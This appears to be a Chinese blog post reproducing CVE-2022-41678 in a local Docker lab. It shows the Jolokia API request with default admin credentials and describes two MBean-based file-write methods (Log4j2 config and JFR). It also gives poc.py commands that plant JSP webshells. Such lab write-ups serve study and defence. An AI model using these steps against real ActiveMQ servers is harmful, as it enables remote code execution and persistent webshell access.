526互联

Apache ActiveMQ Jolokia 后台远程代码执行漏洞（CVE-2022-41678）

发布时间 2023-12-18 16:13:11作者: kalixcn

Apache ActiveMQ Jolokia 后台远程代码执行漏洞（CVE-2022-41678）

Apache ActiveMQ是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持java消息服务、集群、Spring Framework等。
Apache ActiveMQ在5.16.5，5.17.3版本以及以前，后台Jolokia存在任意写入导致的远程代码执行漏洞。

漏洞环境

cd activemq/CVE-2022-41678
docker-compose up -d

服务启动后，访问http://your-ip:8161/后输入账号密码admin/admin，即可成功登录后台。
img

漏洞复现

首先，访问/api/jolokia/list这个API开源查看当前服务器里所有的MBeans:

GET /api/jolokia/list HTTP/1.1
Host: 10.10.10.10:8161
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Origin: http://10.10.10.10

img
这其中有两个开源被用来执行任意代码。

方法1

第一个方法是使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean，这是由Log4j2提供的一个MBean。
攻击者使用这个MBean中的setConfigText操作可以更改Log4j的配置，进而将日志文件写入任意目录中。
使用poc脚本来复现完整的过程：

python poc.py -u admin -p admin http://your-ip:8161

img

webshell被写入在 /admin/shell.jsp文件中：
img
这个方法受到ActiveMQ版本的限制，因为Log4j2是在5.17.0中才引入Apache ActiveMQ。

方法2

第二个可利用的Mbean是jdk.management.jfr.FlightRecorderMXbean。
FlightRecorder是在OpenJDK11中引入的特征，被用于记录java虚拟机的运行事件。利用这个功能，攻击者可以将事件日志写入任意文件。
使用poc脚本来复现完整的过程（使用--exploit参数指定使用的方法）:

python3 poc.py -u admin -p admin --exploit jfr http://10.10.10.10:8161

img

Webshell被写入在 /admin/shelljfr.jsp文件中：
img